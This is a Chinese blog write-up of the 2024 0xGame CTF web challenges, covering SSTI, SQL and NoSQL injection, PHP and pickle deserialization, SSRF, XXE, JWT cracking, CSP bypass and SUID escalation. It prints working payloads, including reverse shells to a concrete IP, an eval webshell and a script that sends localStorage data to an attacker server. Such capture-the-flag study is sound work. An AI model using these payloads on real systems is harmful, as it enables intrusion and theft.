首页 > 其他分享 >2024-0xGame-WEB方向全题解

2024-0xGame-WEB方向全题解

时间:2024-11-28 19:45:31浏览次数:9  
标签:__ return name 0xGame 题解 app 2024 flag import

0xGame

Round1

ez_rce

源码:

from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/")
def index():
    return open(__file__).read()

@app.route("/calc", methods=['POST'])
def calculator():
    expression = request.form.get('expression') or "114 1000 * 514 + p"
    result = subprocess.run(
        ["dc", "-e", expression],
        capture_output=True,
        text=True
    )
    return result.stdout

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

image-20241021195506-zkwsec1

ez_sql

sqlite数据库

sqlite_master特殊表,存储

?id=0 union select 1,2,3,4,sql from sqlite_master;
?id=0 union select 1,2,3,4,flag from flag;

image-20241021201856-tq9su9a

image-20241021202426-wr7e08n

ez_ssti

源码:


from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)

flag=os.getenv("flag")
os.unsetenv("flag")
@app.route('/')
def index():
    return open(__file__, "r").read()


@app.errorhandler(404)
def page_not_found(e):
    print(request.root_url)
    return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

这里为了不被fenjing梭了,使用了如下操作,这里unsetenv只会把环境变量里的flag删掉,但是不会删掉flag这个变量

flag=os.getenv("flag")
os.unsetenv("flag")

我们需要从拿到当前模块也就是__main__然后就能拿flag,__main__.flag

image-20241021205259-p4u495a

这里主要就是怎么拿__main__,可以通过拿sys模块,sys模块里有全部被导入的模块

{{x.__init__.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}

ez_unser

源码:

<?php
highlight_file(__FILE__);
class Man{
    private $name="原神,启动";
    public function __wakeup()
    {
        echo str_split($this->name);
    }
}
class What{
    private $Kun="两年半";
    public function __toString()
    {

        echo $this->Kun->hobby;
        return "Ok";
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public function __get($name)
    {
        var_dump($this->Hobby);
    }
}
class I{
    private $name="Kobe";
    public function __debugInfo()
    {
        $this->name->say();
    }

}
class Say{
    private $evil;
    public function __call($name, $arguments)
    {
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil()
    {
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;

    }
}
class Out{
    public function __call($name,$arguments)
    {
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}
unserialize($_POST["data"]);
__debugInfo(): 当通过var_dump() 打印对象时该函数就会被调用

第一条链子写木马文件调用到Mamba::Evil()

<?php
class Man{
    private $name;
    public function __construct()
    {
        $this->name=new What();
    }
}
class What{
    private $Kun="两年半";
    public function __construct(){
        $this->Kun = new Can();
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public  function  __construct(){
        $this->Hobby = new I;
    }
}
class I{
    private $name="Kobe";
    public function __construct(){
        $this->name=new Say();
    }

}
class Say{
    private $evil;
    public function __call($name, $arguments)
    {
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil()
    {
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;

    }
}
class Out{
    public function __call($name,$arguments)
    {
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}

$man=new Man();
echo urlencode(serialize($man));

第二条更改文件名字,调用到Out::__call

<?php
class Man{
    private $name;
    public function __construct()
    {
        $this->name=new What();
    }
}
class What{
    private $Kun="两年半";
    public function __construct(){
        $this->Kun = new Can();
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public  function  __construct(){
        $this->Hobby = new I;
    }
}
class I{
    private $name="Kobe";
    public function __construct(){
        $this->name=new Out();
    }

}
class Say{
    private $evil;
    public function __call($name, $arguments)
    {
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil()
    {
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;

    }
}
class Out{
    public function __call($name,$arguments)
    {
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}

$man=new Man();
echo urlencode(serialize($man));

Round2

baby_pe

算pin码

suid提权

find / -name flag
find: ‘/find’: No such file or directory
/root/flag
find: ‘/proc/1/task/1/fdinfo’: Permission denied
find: ‘/proc/1/map_files’: Permission denied
find: ‘/proc/1/fdinfo’: Permission denied
find: ‘/proc/7/task/7/fdinfo’: Permission denied
find: ‘/proc/7/task/8/fdinfo’: Permission denied
find: ‘/proc/7/task/27/fdinfo’: Permission denied
find: ‘/proc/7/map_files’: Permission denied
find: ‘/proc/7/fdinfo’: Permission denied
find: ‘/proc/28/task/28/fdinfo’: Permission denied
find: ‘/proc/28/map_files’: Permission denied
find: ‘/proc/28/fdinfo’: Permission denied
find: ‘/proc/31/task/31/fdinfo’: Permission denied
find: ‘/proc/31/map_files’: Permission denied
find: ‘/proc/31/fdinfo’: Permission denied
find: ‘/proc/32/task/32/fdinfo’: Permission denied
find: ‘/proc/32/map_files’: Permission denied
find: ‘/proc/32/fdinfo’: Permission denied
/flag

找到flag位置

baby_pickle

源码:


import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']


class User:
    username = None
    password = None


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/login', methods=['POST'])
def login():
    data = request.form.get('data')
    if data is not None:
        opcode = b64decode(data)
        for word in BlackList:
            if word in opcode:
                return "Hacker!"
        user = pickle.loads(opcode)
        print(user)
        return "<h1>Hello {}</h1>".format(user.username)
    else:
        username = request.form.get('username')
        password = request.form.get('password')
        if username in UserPool.keys() and password == UserPool[username].password:
            return "<h1>Hello {}</h1>".format(User.username)


@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')
    if username in UserPool.keys():
        return "<h1>用户{}已存在</h1>".format(username)
    UserPool[username] = password
    return "<h1>注册成功</h1>"


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

Payload:

import pickle
import pickletools

opcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1\'])'
tR.
'''

pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)
print(base64.b64encode(opcode).decode())

builtins.evel代替os.system,pty.spawn代替os.system

baby_ssrf

源码:


from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
    "127.0.0.1"
]

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/cmd',methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden"
    if request.method == "GET":
        return "Hello World!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()


@app.route('/visit')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "Hacker!"
    result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
    # print(result.stderr)
    return result.stdout


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8000)

urlparse方法解析url

from urllib.parse import urlparse
 
result=urlparse('http://www.baidu.com/index.html;user?id=5#comment')
print(type(result),result)
#########
<class 'urllib.parse.ParseResult'> ParseResult(scheme='http', netloc='www.baidu.com', path='/index.html', params='user', query='id=5', fragment='comment')

这里提供cmd路由,要求必须是127.0.0.0

还提供了visit路由存在ssrf漏洞,我们可以通过gopher发POST包,然后需要绕过127.0.0.1,使用0或者127.1或者0.0.0.0可以绕过

先伪造cmd命令,必须有的是CT头和CL头,注意CL头的长度要正确

image-20241025164001-l1jh821

然后gopher发包,使用0.0.0.0绕过127.0.0.1成功欺骗成127.0.0.1访问

image-20241025164121-o7vchhi

baby_xxe

源码:


from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "None"
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None



if __name__=="__main__":
    app.run(host='0.0.0.0',port=8000)

load_dtd=True表示允许加载 DTD,name=root.find('name').text表示根元素里必须有name子元素

有回显且无过滤只要满足子元素是name就可以,直接读文件,burpsuite进行url编码

<?xml version="1.0"?>
<!DOCTYPE test [
		<!ELEMENT test ANY >

    <!ENTITY ddd SYSTEM "file:///etc/passwd">
]>
<test><name>&ddd;</name></test>

image-20241025174959-495pmnn

hello_shell

源码:

<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
    echo strpos($cmd, ' ');
    die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?

考的是无回显RCE,可以进行mv操作

?cmd=mv%09/flag%091.txt

但是不知道flag位置,或者是没有权限,最好是弹shell

%09或者${IFS}绕过空格,使用{echo,base64编码}|{base64,-d}|{bash,-i}避免产生歧义
bash%09-c%09'{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA%2bJjE%3d}|{base64,-d}|{bash,-i}'

没有读根目录的权限,尝试suid提权

find / -user root -perm -4000 -print 2>/dev/null

image-20241029094827-1pmz6x9

当前目录存在wc,所以应该是wc提权

LFILE=/flag
./wc --files0-from "$LFILE"

这里输出报错信息是因为 wc​命令本身并不会显示文件的内容,而是输出统计信息,而当发生错误时,文件内容会出现在消息中,所以可以通过查看报错信息来查看文件内容

picture

pht后缀绕过php检测,图片马里用<?=eval($_POST["cmd"]);?>

Round3

Next.db

源码:

import { MongoClient } from 'mongodb';

const uri = process.env.MONGODB_URI || "mongodb://127.0.0.1:27017/";
const client = new MongoClient(uri);

export default async function handler(req, res) {
  if (req.method !== 'POST') {
    return res.status(405).json({ message: 'Method not allowed' });
  }

  const { name } = req.body;

  if (!name) {
    return res.status(500).json({ message: 'Name is required' });
  }

  if (name === "flag") {
    return res.status(500).json({ message: 'You are not allowed to search for the flag' });
  }

  try {
    const db = client.db('next-db');
    const collection = db.collection('frameworks');
    const results = await collection.find({
      $or: [
        { name },
        {
          $and: [
            { description: { $regex: name.toString(), $options: 'i' } },
            { description: { $ne: process.env.FLAG || "flag{test}" } }
          ]
        }
      ]
    }).toArray();

    res.status(200).json(results);
  } catch (error) {
    console.error('Database query error:', error);
    res.status(500).json({ message: 'Internal Server Error' });
  }
}

它提示MongoDB,所以是Nosql的题目

永真式能得到全部数据,这里本来想做个验证,没想到直接出了,就考这个吗?

{
  "name": {
    "$ne": 1
  }
}

image-20241029202444-hdywkmn

以下是预期解:

第⼆段代码在查询语句⾥⾯, 可以看到精确匹配的时候直接使⽤了 name, ⽽模糊匹配时却使⽤了 name.toString(), 这⾥其实也在暗⽰⼤家 name 变量的类型可能不⼀定是字符串

我们可以给 name 变量传⼊⼀个数组或对象

// 传⼊数组 (Array)
{
"name": [1, 2, 3]
}
// 传⼊对象 (Object)
{
"name": {"a": "b"}
}

这里Payload就是利用$eq运算符构造出name==flag

{
"name": {"$eq": "flag"} // 在 MongoDB 中查询 name == flag 的内容
}

hello_jwt

获取两个hint,一个是无密钥,一个是已知密钥,最后得到信息:密钥不长且都是小写字母,相当于已知字符集

所以就可以使用c-jwt-crack进行爆破了

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEiLCJyb2xlIjoiZ3Vlc3QifQ.IPy5S15HFohAfuc9bh7Nii22d5ijKlVZ_31KrAJLQaM abcdefghijklmnopqrstuvwxyz

image-20241030142634-d4yveyu

然后伪造jwt,访问/flag就行了

import jwt

token = jwt.encode(
    {
        "username": "a",
        "role": "admin",
    },
     key="zrajz",algorithm="HS256").encode(encoding='utf-8')

print(token)

WhySoSerial

jadx反编译在pom.xml发现使用了commons-collections3.2.1

image-20241030143856-pgdcjjg

直接拿工具梭的

有不同gadgetimage-20241030193010-704tvdk

java -jar ysoserial-all.jar  CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64

cargo_shop

提示:i32 和 u32 有什么区别呢?

主要区别:

  1. 符号

    • i32​ 可以表示正数和负数。
    • u32​ 只能表示非负整数(0 或正数)。
  2. 范围

    • i32​ 的范围是 -2,147,483,648​ 到 2,147,483,647​。
    • u32​ 的范围是 0​ 到 4,294,967,295​。

计算花销的逻辑是:let costs = (goods.price * count) as i32;

count传入的逻辑是u32,如果让costs为负值呢,测试后无果,但是还有一个思路,使用超出i32范围的数字造成整数溢出

image-20241105211417-4thpxjg

然后就能买flag了

paste_bin

考点:XSS和CSP绕过

提示:

关注前端的 HTML, JS 和后端的 src/bot.rs 即可, 其它代码不重要

什么是 Content-Security-Policy?

尝试将 payload 塞到 iframe 标签的 srcdoc 属性里面

unpkg 和 jsdelivr 是什么? 有什么用?

题目给了全部源码

let js = format!("localStorage.setItem('flag', '{}');", flag);​这里指定flag在localStorage​里面

CSP是这样的

base-uri 'none'; style-src 'unsafe-inline'; script-src 'self' 'sha256-mDsn/yxO0Kbxaggx7bFdeBmrC22U6cePGEUeeSwO+n0=' cdn.tailwindcss.com unpkg.com cdn.jsdelivr.net;

仅写成了unpkg.com,没有指定是unpkg.com/xxx

所以我们可以将xxx为自己的库,库里写上恶意代码,让其加载我们库里的恶意代码

npm login登录自己的npm库https://www.npmjs.com

代码写好npm init(一直回车默认就行)

然后npm publish就行了

image-20241105192812-c82nvnn

https://unpkg.com/m1xian@1.0.0/index.js

对应自己的npm库https://www.npmjs.com/package/m1xian

exp.js

let flag = localStorage.getItem('flag');
location.href = 'http://vps_ip:2333/?flag=' + flag;

结果没拿到??没找到原因image-20241105192953-xwnyy6x

Round 4

basic_flask

源码:


from flask import Flask, request
import json

app = Flask(__name__)

'''
'''
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


class Dst():
    def __init__(self):
        pass


dst = Dst()


@app.route('/',methods=['GET','POST'])
def index():
    if request.method=='GET':
        return open("main.py").read()
    merge(request.get_json(), dst)
    return "Success"


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

污染静态目录为根目录。然后读flag

image-20241105194704-cf2v6sm

读flag

image-20241105194733-r4y6uqn

basic_pwn

源码:


from flask import Flask, request

app = Flask(__name__)

functions=globals()['__builtins__'].__dict__


@app.route('/', methods=['GET'])
def index():
    return open(__file__).read()

@app.route('/pwn',methods=['POST'])
def pwn():
    stack = []
    stack.append('print')
    name=request.get_json().get("name")
    if not name:
        return "Fail"
    stack.extend(name)
    args=stack.pop()
    func=stack.pop()
    functions[func](args)
    return "Success"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

和pwn没啥关系,很简单

直接上Payload

{
  "name": [
    "eval",
    "__import__(\"os\").popen(\"bash -c 'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1'\").read()"
  ]
}

弹shell

image-20241105200341-ji34yri

flag在env里

image-20241105200357-icx3o5v

Jenkins

网上有exp,没啥意思

MySQL 客⼾端任意⽂件读取

https://github.com/rmb122/rogue_mysql_server

将此工具下载解压到vps上,然后file_list​里加上/flag

image-20241105204741-j72mr6a

database填/flag,没搞懂为什么

image-20241105205318-a5rqzi0

./rogue_mysql_server​启动mysql服务器

然后在loot文件夹里拿到读取的flag

image-20241105205252-tdozhwr

rogue_mysql

标签:__,return,name,0xGame,题解,app,2024,flag,import
From: https://www.cnblogs.com/m1xian/p/18575031

相关文章

  • 2024.11.[~, 28]训练记录
    好,今天是noip2024前最后一次模拟。但是我参加不了noip。还是认真参加了模拟赛。自主复习就写训练记录吧。落下很多天了。今天的题疑似有点难订正了。那就先写今天的。11.28noip模拟今天的考试时间为了全真对标特意推迟了半个小时,写到最后还是有点困了。毕竟平常一点钟睡午......
  • 多校A层冲刺NOIP2024模拟赛27终结篇
    多校A层冲刺NOIP2024模拟赛27终结篇\(T1\)A.【模板】分治FFT\(0pts\)将式子展开后是一个形如\(f_{n}\sum\limits_{i=1}^{n}\sum\limits_{j=1}^{i-1}a_{i,j}\)的形式。考虑\(f_{n}\)如何转移。当我们选出一对\((i,j)\)进行合并进入\(n'=n-1\)的子问题,故\(a_{i}......
  • 摩尔线程 国产显卡 MUSA 并行编程 学习笔记-2024/11/28
    LearningRoadmap:Section1:IntrotoParallelProgramming&MUSADeepLearningEcosystem(摩尔线程国产显卡MUSA并行编程学习笔记-2024/11/20)Ubuntu+Driver+Toolkit+conda+pytorch+torch_musa环境安装(摩尔线程国产显卡MUSA并行编程学习笔记-2024/11/24-CSDN博客)C/C++R......
  • 2024.11.28
    DPP1048[NOIP2005普及组]采药-洛谷|计算机科学教育新生态#include<iostream>usingnamespacestd;intt[101],w[101];intdp[1001];intmain(){intT,M;cin>>T>>M;for(inti=1;i<=M;i++){cin>>t[i]>>w[i];}......
  • 2024.11.20训练记录
    pack设当前手上的钱数为x。二分一段一段跳的复杂度是对的。因为,如果下一段的代价总和sum<\dfrac{x}{2}。那么这一段的下一个数肯定也小于\dfrac{x}{2}。因为是从大到小排。所以还能继续选下一个数,引出矛盾。所以每段的代价总和只能大于\dfrac{x}{2}。那段数就是log级别的。......
  • 问题解决方法(一)-寻找亮点
    在1990年,杰里斯特宁被国际儿童慈善组织派往越南去解决当地儿童营养不良的问题,时间只有6个月。他到当地后发现根本没钱、没人、没资源。但如果是你,这个时候会怎么办?我想大多数人会选择写个报告,说明要先发展经济,再发展教育,提高父母的素质,问题自然就解决了。这个报告是正确的,然而并没......
  • 20222407 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容1.1本周内容总结使用了Metasploit框架,其是一个功能强大的渗透测试框架。在使用的过程当中,Metasploit提供了种类繁多的攻击模块,涵盖了远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种操作系统和应用程序进行测试。除了漏洞利用,它还具备强大的后渗透功能,如键......
  • noip2024 复习计划
    大致分三步:基本模板、套路复习套题复盘再刷一两道码力题基本模板复习有(参照csp2024套题复盘表):1.数据结构平衡树线段树、树状数组的Trick2.杂算法CDQ分治、整体二分、点分治、点分树KMP(其实不用复习了)3.图论Dijkstra板子,以及最小生成树......
  • 20222404 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容总结一下本周学习内容了解了信息搜集在网络攻防中的重要性,认识不同的信息搜集方法如WHOIS查询、DNS查询(dig、nslookup等)了解一些查询工具:dig工具、nslookup基于网络的信息搜集可以使用nmap,可使用端口、SYN、UDP等不通类型扫描。2.实验过程2.1获取baidu.com如......
  • 触觉智能亮相OpenHarmony人才生态大会2024
    11月27日,OpenHarmony人才生态大会2024在武汉隆重举行。本次大会汇聚了政府领导、学术大咖、操作系统技术专家、高校及企业代表,围绕新时代背景下的操作系统人才培养进行了深入探讨,分享高校、企业在产学研融合方面的先进经验,全面展现了OpenHarmony在人才生态领域学-考-用-赛-留各环......